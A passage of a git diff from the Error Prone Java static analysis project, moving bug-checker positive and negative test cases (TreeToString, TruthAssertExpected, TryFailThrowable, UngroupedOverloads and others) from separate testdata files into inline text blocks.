*/ +public class ThrowsUncheckedExceptionPositiveCases { + // BUG: Diagnostic contains: 'public void doSomething() {' + public void doSomething() throws IllegalArgumentException { + throw new IllegalArgumentException("thrown"); + } + + // BUG: Diagnostic contains: 'public void doSomethingElse() {' + public void doSomethingElse() throws RuntimeException, NullPointerException { + throw new NullPointerException("thrown"); + } + + // BUG: Diagnostic contains: Unchecked exceptions do not need to be declared + public void doMore() throws RuntimeException, IOException { + throw new IllegalArgumentException("thrown"); + } + + // BUG: Diagnostic contains: Unchecked exceptions do not need to be declared + public void doEverything() throws RuntimeException, IOException, IndexOutOfBoundsException { + throw new IllegalArgumentException("thrown"); + } + + // BUG: Diagnostic contains: 'public void doBetter() {' + public void doBetter() throws RuntimeException, AssertionError { + throw new RuntimeException("thrown"); + } +}""") + .doTest(); } @Test public void negativeCase() { - compilationHelper.addSourceFile("testdata/ThrowsUncheckedExceptionNegativeCases.java").doTest(); + compilationHelper + .addSourceLines( + "ThrowsUncheckedExceptionNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import java.io.FileNotFoundException; + import java.io.IOException; + + /** + * @author yulissa@google.com (Yulissa Arroyo-Paredes) + */ + public class ThrowsUncheckedExceptionNegativeCases { + public void doSomething() { + throw new IllegalArgumentException("thrown"); + } + + public void doMore() throws IOException { + throw new FileNotFoundException("thrown"); + } + }""") + .doTest(); } @Test diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/TreeToStringTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/TreeToStringTest.java index 681a1e43469..53510d5ccec 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/TreeToStringTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/TreeToStringTest.java @@ -108,13 +108,78 @@ private String createTree(VisitorState state) { @Test public void positiveCases() { - testHelper.addSourceFile("testdata/TreeToStringPositiveCases.java").doTest(); + testHelper + .addSourceLines( + "TreeToStringPositiveCases.java", + """ +import com.google.errorprone.VisitorState; +import com.google.errorprone.bugpatterns.BugChecker; +import com.google.errorprone.matchers.Matcher; +import com.sun.source.tree.ClassTree; +import com.sun.source.tree.ExpressionTree; +import com.sun.source.tree.Tree; + +public class TreeToStringPositiveCases { + + public static class InnerClass extends BugChecker { + private static void foo() { + Tree tree = (Tree) new Object(); + // BUG: Diagnostic contains: [TreeToString] Tree#toString shouldn't be used + tree.toString(); + } + + private static final Matcher MATCHER1 = + (tree, state) -> { + ExpressionTree packageName = state.getPath().getCompilationUnit().getPackageName(); + // BUG: Diagnostic contains: [TreeToString] Tree#toString shouldn't be used + packageName.toString(); + + // BUG: Diagnostic contains: [TreeToString] Tree#toString shouldn't be used + state.getPath().getCompilationUnit().getPackageName().toString(); + + return false; + }; + + private static final Matcher MATCHER2 = + new Matcher() { + @Override + public boolean matches(ClassTree classTree, VisitorState state) { + ExpressionTree packageName = state.getPath().getCompilationUnit().getPackageName(); + // BUG: Diagnostic contains: + packageName.toString(); + return false; + } + }; + } +}""") + .doTest(); } @Test public void negativeCases() { testHelper - .addSourceFile("testdata/TreeToStringNegativeCases.java") + .addSourceLines( + "TreeToStringNegativeCases.java", + """ + import com.google.errorprone.VisitorState; + import com.google.errorprone.bugpatterns.BugChecker; + import com.google.errorprone.util.ASTHelpers; + import com.sun.source.tree.ClassTree; + import com.sun.source.tree.Tree; + + public class TreeToStringNegativeCases { + + public static class InnerClass extends BugChecker { + + private static void foo(VisitorState state) { + Tree tree = (Tree) new Object(); + state.getSourceForNode(tree); + state.getConstantExpression(tree); + ((ClassTree) new Object()).getSimpleName().toString(); + ASTHelpers.getSymbol(tree).getSimpleName().toString(); + } + } + }""") .addModules( "jdk.compiler/com.sun.tools.javac.code", "jdk.compiler/com.sun.tools.javac.util") .doTest(); diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/TruthAssertExpectedTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/TruthAssertExpectedTest.java index af76c7d1a5e..75836afb144 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/TruthAssertExpectedTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/TruthAssertExpectedTest.java @@ -33,11 +33,120 @@ public final class TruthAssertExpectedTest { @Test public void positiveCase() { - compilationHelper.addSourceFile("testdata/TruthAssertExpectedPositiveCases.java").doTest(); + compilationHelper + .addSourceLines( + "TruthAssertExpectedPositiveCases.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import static com.google.common.truth.Truth.assertThat; +import static com.google.common.truth.Truth.assertWithMessage; + +import com.google.common.collect.ImmutableList; + +/** + * Positive test cases for TruthAssertExpected check. + * + * @author ghm@google.com (Graeme Morgan) + */ +final class TruthAssertExpectedPositiveCases { + private static final ImmutableList EXPECTED_LIST = ImmutableList.of(); + private static final float EXPECTED_FLOAT = 1f; + + private float actualFloat() { + return 3.14f; + } + + private void simple() { + Object expected = new Object(); + Object actual = new Object(); + Object foo = new Object(); + // BUG: Diagnostic contains: assertThat(foo).isEqualTo(expected) + assertThat(expected).isEqualTo(foo); + // BUG: Diagnostic contains: assertThat(foo).isNotEqualTo(expected) + assertThat(expected).isNotEqualTo(foo); + + // BUG: Diagnostic contains: assertWithMessage("reversed!").that(actual).isEqualTo(expected) + assertWithMessage("reversed!").that(expected).isEqualTo(actual); + + // BUG: Diagnostic contains: assertThat(actual.hashCode()).isEqualTo(expected.hashCode()) + assertThat(expected.hashCode()).isEqualTo(actual.hashCode()); + } + + private void tolerantFloats() { + // BUG: Diagnostic contains: assertThat(actualFloat()).isWithin(1f).of(EXPECTED_FLOAT) + assertThat(EXPECTED_FLOAT).isWithin(1f).of(actualFloat()); + } + + private void lists() { + // BUG: Diagnostic contains: + // assertThat(ImmutableList.of(this)).containsExactlyElementsIn(EXPECTED_LIST); + assertThat(EXPECTED_LIST).containsExactlyElementsIn(ImmutableList.of(this)); + // BUG: Diagnostic contains: + // assertThat(ImmutableList.of(this)).containsExactlyElementsIn(EXPECTED_LIST).inOrder(); + assertThat(EXPECTED_LIST).containsExactlyElementsIn(ImmutableList.of(this)).inOrder(); + } +}""") + .doTest(); } @Test public void negativeCase() { - compilationHelper.addSourceFile("testdata/TruthAssertExpectedNegativeCases.java").doTest(); + compilationHelper + .addSourceLines( + "TruthAssertExpectedNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import static com.google.common.truth.Truth.assertThat; + + import com.google.common.collect.ImmutableList; + + /** + * Negative test cases for TruthAssertExpected check. + * + * @author ghm@google.com (Graeme Morgan) + */ + final class TruthAssertExpectedNegativeCases { + private static final Object expected = new Object(); + private static final Object actual = new Object(); + private static final Object foo = new Object(); + private static final long CONSTANT = 1L; + + private enum Enum { + A, + B; + } + + private void simple() { + assertThat(foo).isEqualTo(expected); + + assertThat(expected.hashCode()).isEqualTo(expected.hashCode()); + assertThat(hashCode()).isEqualTo(foo); + } + + private void actualAndExpectedTogether(int delay) { + int actualDelayInExpectedUnits = 1; + assertThat(actualDelayInExpectedUnits).isEqualTo(delay); + } + + private void expectedExceptions() { + Exception expectedException = new Exception("Oh no."); + assertThat(expectedException).hasMessageThat().isEqualTo("Oh no."); + assertThat(expectedException.getClass()).isEqualTo(hashCode()); + } + + private void staticFactoryMethod() { + assertThat(expected).isEqualTo(Long.valueOf(10L)); + assertThat(expected).isEqualTo(ImmutableList.of(1)); + } + + private void constantValues() { + assertThat(expected).isEqualTo(Enum.A); + assertThat(expected).isEqualTo(10L); + assertThat(expected).isEqualTo(CONSTANT); + } + }""") + .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/TruthConstantAssertsTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/TruthConstantAssertsTest.java index 4e963bc0ddd..0df28772544 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/TruthConstantAssertsTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/TruthConstantAssertsTest.java @@ -38,11 +38,78 @@ public void setUp() { @Test public void positiveCase() { - compilationHelper.addSourceFile("testdata/TruthConstantAssertsPositiveCases.java").doTest(); + compilationHelper + .addSourceLines( + "TruthConstantAssertsPositiveCases.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import static com.google.common.truth.Truth.assertThat; + +/** + * Positive test cases for TruthConstantAsserts check. + * + * @author bhagwani@google.com (Sumit Bhagwani) + */ +public class TruthConstantAssertsPositiveCases { + + public void testAssertThat() { + // BUG: Diagnostic contains: assertThat(new TruthConstantAssertsPositiveCases()).isEqualTo(1); + assertThat(1).isEqualTo(new TruthConstantAssertsPositiveCases()); + + // BUG: Diagnostic contains: assertThat(someStaticMethod()).isEqualTo("my string"); + assertThat("my string").isEqualTo(someStaticMethod()); + + // BUG: Diagnostic contains: assertThat(memberMethod()).isEqualTo(42); + assertThat(42).isEqualTo(memberMethod()); + + // BUG: Diagnostic contains: assertThat(someStaticMethod()).isEqualTo(42L); + assertThat(42L).isEqualTo(someStaticMethod()); + + // BUG: Diagnostic contains: assertThat(new Object()).isEqualTo(4.2); + assertThat(4.2).isEqualTo(new Object()); + } + + private static TruthConstantAssertsPositiveCases someStaticMethod() { + return new TruthConstantAssertsPositiveCases(); + } + + private TruthConstantAssertsPositiveCases memberMethod() { + return new TruthConstantAssertsPositiveCases(); + } +}""") + .doTest(); } @Test public void negativeCase() { - compilationHelper.addSourceFile("testdata/TruthConstantAssertsNegativeCases.java").doTest(); + compilationHelper + .addSourceLines( + "TruthConstantAssertsNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import static com.google.common.truth.Truth.assertThat; + + /** + * Negative test cases for TruthConstantAsserts check. + * + * @author bhagwani@google.com (Sumit Bhagwani) + */ + public class TruthConstantAssertsNegativeCases { + + public void testNegativeCases() { + assertThat(new TruthConstantAssertsNegativeCases()).isEqualTo(Boolean.TRUE); + assertThat(getObject()).isEqualTo(Boolean.TRUE); + + // assertion called on constant with constant expectation is ignored. + assertThat(Boolean.FALSE).isEqualTo(4.2); + } + + private static TruthConstantAssertsNegativeCases getObject() { + return new TruthConstantAssertsNegativeCases(); + } + }""") + .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/TryFailThrowableTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/TryFailThrowableTest.java index effcbfdc0d0..49aa017ca8e 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/TryFailThrowableTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/TryFailThrowableTest.java @@ -31,11 +31,371 @@ public class TryFailThrowableTest { @Test public void positiveCases() { - compilationHelper.addSourceFile("testdata/TryFailThrowablePositiveCases.java").doTest(); + compilationHelper + .addSourceLines( + "TryFailThrowablePositiveCases.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import static org.junit.Assert.assertEquals; +import static org.junit.Assert.assertTrue; +import static org.junit.Assert.fail; + +import java.util.Arrays; +import junit.framework.TestCase; +import org.junit.Assert; + +/** + * @author adamwos@google.com (Adam Wos) + */ +public class TryFailThrowablePositiveCases { + + public static void emptyCatch_failNoMessage() { + try { + dummyMethod(); + Assert.fail(); + // BUG: Diagnostic contains: catch (Exception t) + } catch (Throwable t) { + } + } + + public static void commentCatch_failNoMessage() { + try { + dummyMethod(); + Assert.fail(); + // BUG: Diagnostic contains: catch (Exception t123) + } catch (Throwable t123) { + // expected! + ; + /* that's an empty comment */ + } + } + + public static void commentCatch_failWithMessage() { + try { + dummyMethod(); + Assert.fail("Faaail!"); + // BUG: Diagnostic contains: catch (Exception t) + } catch (Throwable t) { + // expected! + } + } + + public static void commentCatch_failNotLast() { + try { + dummyMethod(); + fail("Faaail!"); + dummyMethod(); + // BUG: Diagnostic contains: catch (Exception t) + } catch (Throwable t) { + // expected! + } + } + + public static void commentCatch_assert() { + try { + dummyMethod(); + assertEquals(1, 2); + // BUG: Diagnostic contains: catch (Exception t) + } catch (Throwable t) { + // expected! + } + } + + public static void commentCatch_assertNotLast() { + try { + dummyMethod(); + assertTrue("foobar!", true); + dummyRecover(); + // BUG: Diagnostic contains: catch (Exception t) + } catch (Throwable t) { + // expected! + } + } + + public static void customMoreAsserts() { + try { + dummyMethod(); + CustomMoreAsserts.assertFoobar(); + dummyMethod(); + // BUG: Diagnostic contains: catch (Exception t) + } catch (Throwable t) { + // expected! + } + } + + public static void customMoreAsserts_fail() { + try { + dummyMethod(); + CustomMoreAsserts.fail("param", 0x42); + dummyMethod(); + // BUG: Diagnostic contains: catch (Exception t) + } catch (Throwable t) { + // expected! + } + } + + static final class SomeTest extends TestCase { + public void testInTestCase() { + try { + dummyMethod(); + fail("message"); + // BUG: Diagnostic contains: catch (Exception codeCatch_oldAssertFailWithMessage) + } catch (Throwable codeCatch_oldAssertFailWithMessage) { + // comment + /* another */ + } + } + } + + static final class CustomMoreAsserts { + static void assertFoobar() {} + + static void fail(String param1, int param2) {} + } + + private static void dummyRecover() {} + + private static void dummyMethod() {} + + public static void catchesAssertionError() { + try { + dummyMethod(); + Assert.fail(); + // BUG: Diagnostic contains: remove this line + } catch (AssertionError e) { + } + } + + public static void hasMessage() { + try { + dummyMethod(); + Assert.fail("foo"); + // BUG: Diagnostic contains: remove this line + } catch (AssertionError e) { + } + } + + public static void catchesError_lastStatement() { + try { + dummyMethod(); + Assert.fail(); + // BUG: Diagnostic contains: remove this line + } catch (Error e) { + } + } + + public static void catchesError_notLastStatement() { + try { + dummyMethod(); + Assert.fail(); + // BUG: Diagnostic contains: boolean threw = false; + } catch (Error e) { + } + + assertTrue(true); + } + + public static void catchesError_nested() { + for (Object o : Arrays.asList()) { + try { + dummyMethod(); + Assert.fail(); + // BUG: Diagnostic contains: boolean threw = false; + } catch (Error e) { + } + } + } + + public static void catchesError_nestedNoBlock() { + for (Object o : Arrays.asList()) + try { + dummyMethod(); + Assert.fail(); + // BUG: Diagnostic contains: boolean threw = false; + } catch (Error e) { + } + } +}""") + .doTest(); } @Test public void negativeCases() { - compilationHelper.addSourceFile("testdata/TryFailThrowableNegativeCases.java").doTest(); + compilationHelper + .addSourceLines( + "TryFailThrowableNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import static org.junit.Assert.assertEquals; + import static org.junit.Assert.assertTrue; + import static org.junit.Assert.fail; + + import junit.framework.TestCase; + import org.junit.Assert; + + /** + * @author adamwos@google.com (Adam Wos) + */ + public class TryFailThrowableNegativeCases { + + public static void withoutFail() { + try { + dummyMethod(); + } catch (Throwable t) { + dummyRecover(); + } + } + + public static void failOutsideTry() { + try { + dummyMethod(); + } catch (Throwable t) { + dummyRecover(); + } + Assert.fail(); + } + + public static void withoutCatch() { + try { + dummyMethod(); + Assert.fail(""); + } finally { + dummyRecover(); + } + } + + /** For now, this isn't supported. */ + public static void multipleCatches() { + try { + dummyMethod(); + Assert.fail("1234"); + } catch (Error e) { + dummyRecover(); + } catch (Throwable t) { + dummyRecover(); + } + } + + public static void failNotLast() { + try { + dummyMethod(); + Assert.fail("Not last :("); + dummyMethod(); + } catch (Throwable t) { + dummyRecover(); + } + } + + public static void catchException() { + try { + dummyMethod(); + Assert.fail(); + } catch (Exception t) { + dummyRecover(); + } + } + + public static void catchException_failWithMessage() { + try { + dummyMethod(); + Assert.fail("message"); + } catch (Exception t) { + dummyRecover(); + } + } + + public static void codeCatch_failNoMessage() { + try { + dummyMethod(); + Assert.fail(); + } catch (Throwable t) { + dummyRecover(); + } + } + + public static void codeCatch_failWithMessage() { + try { + dummyMethod(); + Assert.fail("Faaail!"); + } catch (Throwable t444) { + dummyRecover(); + } + } + + public static void codeCatch_staticImportedFail() { + try { + dummyMethod(); + fail(); + } catch (Throwable t444) { + dummyRecover(); + } + } + + @SuppressWarnings("deprecation") // deprecated in JUnit 4.11 + public static void codeCatch_oldAssertFail() { + try { + dummyMethod(); + junit.framework.Assert.fail(); + } catch (Throwable codeCatch_oldAssertFail) { + dummyRecover(); + } + } + + @SuppressWarnings("deprecation") // deprecated in JUnit 4.11 + public static void codeCatch_oldAssertFailWithMessage() { + try { + dummyMethod(); + junit.framework.Assert.fail("message"); + } catch (Throwable codeCatch_oldAssertFailWithMessage) { + dummyRecover(); + } + } + + public static void codeCatch_FQFail() { + try { + dummyMethod(); + org.junit.Assert.fail("Faaail!"); + } catch (Throwable t444) { + dummyRecover(); + } + } + + public static void codeCatch_assert() { + try { + dummyMethod(); + assertEquals(1, 2); + } catch (Throwable t) { + dummyMethod(); + } + } + + public static void commentCatch_assertNotLast() { + try { + dummyMethod(); + assertTrue("foobar!", true); + dummyRecover(); + } catch (Throwable t) { + dummyMethod(); + } + } + + static final class SomeTest extends TestCase { + public void testInTestCase() { + try { + dummyMethod(); + fail("message"); + } catch (Throwable codeCatch_oldAssertFailWithMessage) { + dummyRecover(); + } + } + } + + private static void dummyRecover() {} + + private static void dummyMethod() {} + }""") + .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/URLEqualsHashCodeTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/URLEqualsHashCodeTest.java index f4b1cb3e064..e10854a020e 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/URLEqualsHashCodeTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/URLEqualsHashCodeTest.java @@ -38,11 +38,172 @@ public void setUp() { @Test public void positiveCase() { - compilationHelper.addSourceFile("testdata/URLEqualsHashCodePositiveCases.java").doTest(); + compilationHelper + .addSourceLines( + "URLEqualsHashCodePositiveCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import com.google.common.collect.BiMap; + import com.google.common.collect.HashBiMap; + import com.google.common.collect.ImmutableSet; + import java.net.URL; + import java.util.HashMap; + import java.util.HashSet; + import java.util.Map; + import java.util.Set; + + /** + * Positive test cases for URLEqualsHashCode check. + * + * @author bhagwani@google.com (Sumit Bhagwani) + */ + public class URLEqualsHashCodePositiveCases { + + public void setOfURL() { + // BUG: Diagnostic contains: java.net.URL + Set urlSet = new HashSet(); + } + + public void setOfCompleteURL() { + // BUG: Diagnostic contains: java.net.URL + Set urlSet = new HashSet(); + } + + public void hashmapOfURL() { + // BUG: Diagnostic contains: java.net.URL + HashMap urlMap = new HashMap(); + } + + public void hashmapOfCompleteURL() { + // BUG: Diagnostic contains: java.net.URL + HashMap urlMap = new HashMap(); + } + + public void hashsetOfURL() { + // BUG: Diagnostic contains: java.net.URL + HashSet urlSet = new HashSet(); + } + + public void hashsetOfCompleteURL() { + // BUG: Diagnostic contains: java.net.URL + HashSet urlSet = new HashSet(); + } + + private static class ExtendedSet extends HashSet { + // no impl. + } + + public void hashSetExtendedClass() { + // BUG: Diagnostic contains: java.net.URL + HashSet extendedSet = new ExtendedSet(); + + // BUG: Diagnostic contains: java.net.URL + Set urlSet = new ExtendedSet(); + } + + private static class ExtendedMap extends HashMap { + // no impl. + } + + public void hashMapExtendedClass() { + // BUG: Diagnostic contains: java.net.URL + HashMap extendedMap = new ExtendedMap(); + + // BUG: Diagnostic contains: java.net.URL + Map urlMap = new ExtendedMap(); + } + + public void hashBiMapOfURL() { + // BUG: Diagnostic contains: java.net.URL + BiMap urlBiMap = HashBiMap.create(); + + // BUG: Diagnostic contains: java.net.URL + BiMap toUrlBiMap = HashBiMap.create(); + } + + public void hashBiMapOfCompleteURL() { + // BUG: Diagnostic contains: java.net.URL + HashBiMap urlBiMap = HashBiMap.create(); + + // BUG: Diagnostic contains: java.net.URL + HashBiMap toUrlBiMap = HashBiMap.create(); + } + + public void immutableSetOfURL() { + // BUG: Diagnostic contains: java.net.URL + ImmutableSet urlSet = ImmutableSet.of(); + + // BUG: Diagnostic contains: java.net.URL + ImmutableSet urlSet2 = ImmutableSet.builder().build(); + } + }""") + .doTest(); } @Test public void negativeCase() { - compilationHelper.addSourceFile("testdata/URLEqualsHashCodeNegativeCases.java").doTest(); + compilationHelper + .addSourceLines( + "URLEqualsHashCodeNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import java.net.URL; + import java.util.ArrayList; + import java.util.Collection; + import java.util.HashMap; + import java.util.HashSet; + import java.util.List; + import java.util.Set; + + /** + * Negative test cases for URLEqualsHashCode check. + * + * @author bhagwani@google.com (Sumit Bhagwani) + */ + public class URLEqualsHashCodeNegativeCases { + + private static class Url { + private Url() { + // no impl + } + } + + // Set and HashSet of non-URL class. + public void setOfUrl() { + Set urlSet; + } + + public void hashsetOfUrl() { + HashSet urlSet; + } + + // Collection(s) of type URL + public void collectionOfURL() { + Collection urlSet; + } + + public void listOfURL() { + List urlSet; + } + + public void arraylistOfURL() { + ArrayList urlSet; + } + + public void hashmapWithURLAsValue() { + HashMap stringToUrlMap; + } + + private static class ExtendedMap extends HashMap { + // no impl. + } + + public void hashMapExtendedClass() { + ExtendedMap urlMap; + } + }""") + .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/UngroupedOverloadsTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/UngroupedOverloadsTest.java index 5d02a9e1ecb..d40c6dd8d15 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/UngroupedOverloadsTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/UngroupedOverloadsTest.java @@ -41,64 +41,579 @@ public final class UngroupedOverloadsTest { @Test public void ungroupedOverloadsPositiveCasesSingle() { - compilationHelper.addSourceFile("testdata/UngroupedOverloadsPositiveCasesSingle.java").doTest(); + compilationHelper + .addSourceLines( + "UngroupedOverloadsPositiveCasesSingle.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + /** + * @author hanuszczak@google.com (Łukasz Hanuszczak) + */ + public class UngroupedOverloadsPositiveCasesSingle { + + public void quux() { + foo(); + } + + // BUG: Diagnostic contains: ungrouped overloads of 'foo' + public void foo() { + foo(42); + } + + // BUG: Diagnostic contains: ungrouped overloads of 'foo' + public void foo(int x) { + foo(x, x); + } + + public void bar() { + bar(42); + } + + public void bar(int x) { + foo(x); + } + + // BUG: Diagnostic contains: ungrouped overloads of 'foo' + public void foo(int x, int y) { + System.out.println(x + y); + } + + public void norf() {} + }""") + .doTest(); } @Test public void ungroupedOverloadsPositiveCasesMultiple() { compilationHelper - .addSourceFile("testdata/UngroupedOverloadsPositiveCasesMultiple.java") + .addSourceLines( + "UngroupedOverloadsPositiveCasesMultiple.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + /** + * @author hanuszczak@google.com (Łukasz Hanuszczak) + */ + public class UngroupedOverloadsPositiveCasesMultiple { + + private int foo; + + // BUG: Diagnostic contains: ungrouped overloads of 'bar' + public void bar(int x, String z, int y) { + System.out.println(String.format("z: %s, x: %d, y: %d", z, x, y)); + } + + private UngroupedOverloadsPositiveCasesMultiple(int foo) { + this.foo = foo; + } + + // BUG: Diagnostic contains: ungrouped overloads of 'bar' + public void bar(int x) { + bar(foo, x); + } + + public void baz(String x) { + bar(42, x, 42); + } + + // BUG: Diagnostic contains: ungrouped overloads of 'bar' + public void bar(int x, int y) { + bar(y, FOO, x); + } + + public static final String FOO = "foo"; + + // BUG: Diagnostic contains: ungrouped overloads of 'bar' + public void bar(int x, int y, int z) { + bar(x, String.valueOf(y), z); + } + + // BUG: Diagnostic contains: ungrouped overloads of 'quux' + public int quux() { + return quux(quux); + } + + public int quux = 42; + + // BUG: Diagnostic contains: ungrouped overloads of 'quux' + public int quux(int x) { + return x + quux; + } + + private static class Quux {} + + // BUG: Diagnostic contains: ungrouped overloads of 'quux' + public int quux(int x, int y) { + return quux(x + y); + } + + // BUG: Diagnostic contains: ungrouped overloads of 'norf' + public int norf(int x) { + return quux(x, x); + } + + // BUG: Diagnostic contains: ungrouped overloads of 'norf' + public int norf(int x, int y) { + return norf(x + y); + } + + public void foo() { + System.out.println("foo"); + } + + // BUG: Diagnostic contains: ungrouped overloads of 'norf' + public void norf(int x, int y, int w) { + norf(x + w, y + w); + } + }""") .doTest(); } @Test public void ungroupedOverloadsPositiveCasesInterleaved() { compilationHelper - .addSourceFile("testdata/UngroupedOverloadsPositiveCasesInterleaved.java") + .addSourceLines( + "UngroupedOverloadsPositiveCasesInterleaved.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + /** + * @author hanuszczak@google.com (Łukasz Hanuszczak) + */ + public class UngroupedOverloadsPositiveCasesInterleaved { + + private int foo; + + // BUG: Diagnostic contains: ungrouped overloads of 'bar' + public void bar(int x, String z, int y) { + System.out.println(String.format("z: %s, x: %d, y: %d", z, x, y)); + } + + public UngroupedOverloadsPositiveCasesInterleaved(int foo) { + this.foo = foo; + } + + // BUG: Diagnostic contains: ungrouped overloads of 'bar' + public void bar(int x) { + bar(foo, x); + } + + // BUG: Diagnostic contains: ungrouped overloads of 'baz' + public void baz(String x) { + baz(x, FOO); + } + + // BUG: Diagnostic contains: ungrouped overloads of 'bar' + public void bar(int x, int y) { + bar(y, FOO, x); + } + + public static final String FOO = "foo"; + + // BUG: Diagnostic contains: ungrouped overloads of 'baz' + public void baz(String x, String y) { + bar(foo, x + y, foo); + } + + public void foo(int x) {} + + public void foo() { + foo(foo); + } + }""") .doTest(); } @Test public void ungroupedOverloadsPositiveCasesCovering() { compilationHelper - .addSourceFile("testdata/UngroupedOverloadsPositiveCasesCovering.java") + .addSourceLines( + "UngroupedOverloadsPositiveCasesCovering.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + /** + * @author hanuszczak@google.com (Łukasz Hanuszczak) + */ + public class UngroupedOverloadsPositiveCasesCovering { + + // BUG: Diagnostic contains: ungrouped overloads of 'foo' + public void foo(int x) { + System.out.println(x); + } + + // BUG: Diagnostic contains: ungrouped overloads of 'bar' + public void bar() { + foo(); + } + + public void baz() { + bar(); + } + + // BUG: Diagnostic contains: ungrouped overloads of 'bar' + public void bar(int x) { + foo(x); + } + + // BUG: Diagnostic contains: ungrouped overloads of 'quux' + private void quux() { + norf(); + } + + private void norf() { + quux(); + } + + // BUG: Diagnostic contains: ungrouped overloads of 'quux' + public void quux(int x) { + bar(x); + } + + // BUG: Diagnostic contains: ungrouped overloads of 'foo' + public void foo() { + foo(42); + } + }""") .doTest(); } @Test public void ungroupedOverloadsPositiveCasesCoveringOnlyFirstOverload() { compilationHelper - .addSourceFile("testdata/UngroupedOverloadsPositiveCasesCoveringOnlyOnFirst.java") + .addSourceLines( + "UngroupedOverloadsPositiveCasesCoveringOnlyOnFirst.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +/** + * @author hanuszczak@google.com (Łukasz Hanuszczak) + */ +public class UngroupedOverloadsPositiveCasesCoveringOnlyOnFirst { + + // BUG: Diagnostic contains: Constructors and methods with the same name should appear + public void foo(int x) { + System.out.println(x); + } + + public void bar() { + foo(); + } + + public void baz() { + bar(); + } + + public void bar(int x) { + foo(x); + } + + private void quux() { + norf(); + } + + private void norf() { + quux(); + } + + public void quux(int x) { + bar(x); + } + + public void foo() { + foo(42); + } +}""") .setArgs(ImmutableList.of("-XepOpt:UngroupedOverloads:BatchFindings")) .doTest(); } @Test public void ungroupedOverloadsNegativeCases() { - compilationHelper.addSourceFile("testdata/UngroupedOverloadsNegativeCases.java").doTest(); + compilationHelper + .addSourceLines( + "UngroupedOverloadsNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + /** + * @author hanuszczak@google.com (Łukasz Hanuszczak) + */ + public class UngroupedOverloadsNegativeCases { + + private int foo; + + public UngroupedOverloadsNegativeCases(int foo) { + this.foo = foo; + } + + public void bar(int x) { + bar(foo, x); + } + + public void bar(int x, String z, int y) { + System.out.println(String.format("z: %s, x: %d, y: %d", z, x, y)); + } + + public void bar(int x, int y) { + bar(y, FOO, x); + } + + public static class Baz {} + + public static final String FOO = "foo"; + + public void baz(String x) { + baz(x, FOO); + } + + public void baz(String x, String y) { + bar(foo, x + y, foo); + } + + public int foo() { + return this.foo; + } + }""") + .doTest(); } @Test public void ungroupedOverloadsRefactoringComments() { refactoringHelper - .addInput("testdata/UngroupedOverloadsRefactoringComments.java") - .addOutput("testdata/UngroupedOverloadsRefactoringComments_expected.java") + .addInputLines( + "UngroupedOverloadsRefactoringComments.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + /** + * @author hanuszczak@google.com (Łukasz Hanuszczak) + */ + class UngroupedOverloadsRefactoringComments { + + private void bar() {} + + public static final String FOO = "foo"; // This is super-important comment for `foo`. + + // Something about `bar`. + /** Does something. */ + public void bar(int x) {} + + // Something about this `bar`. + public void bar(int x, int y) {} + + // Something about `baz`. + public static final String BAZ = "baz"; // Stuff about `baz` continues. + + // More stuff about `bar`. + public void bar(int x, int y, int z) { + // Some internal comments too. + } + + public void quux() {} + + public void bar(String s) {} + }""") + .addOutputLines( + "UngroupedOverloadsRefactoringComments_expected.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + /** + * @author hanuszczak@google.com (Łukasz Hanuszczak) + */ + class UngroupedOverloadsRefactoringComments { + + private void bar() {} + + // Something about `bar`. + /** Does something. */ + public void bar(int x) {} + + // Something about this `bar`. + public void bar(int x, int y) {} + + // More stuff about `bar`. + public void bar(int x, int y, int z) { + // Some internal comments too. + } + + public void bar(String s) {} + + public static final String FOO = "foo"; // This is super-important comment for `foo`. + + // Something about `baz`. + public static final String BAZ = "baz"; // Stuff about `baz` continues. + + public void quux() {} + }""") .doTest(); } @Test public void ungroupedOverloadsRefactoringMultiple() { refactoringHelper - .addInput("testdata/UngroupedOverloadsRefactoringMultiple.java") - .addOutput("testdata/UngroupedOverloadsRefactoringMultiple_expected.java") + .addInputLines( + "UngroupedOverloadsRefactoringMultiple.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + /** + * @author hanuszczak@google.com (Łukasz Hanuszczak) + */ + class UngroupedOverloadsRefactoringMultiple { + + public void foo() {} + + public void foo(int x) {} + + private static class foo {} + + public void foo(int x, int y) {} + + public void bar() {} + + public static final String BAZ = 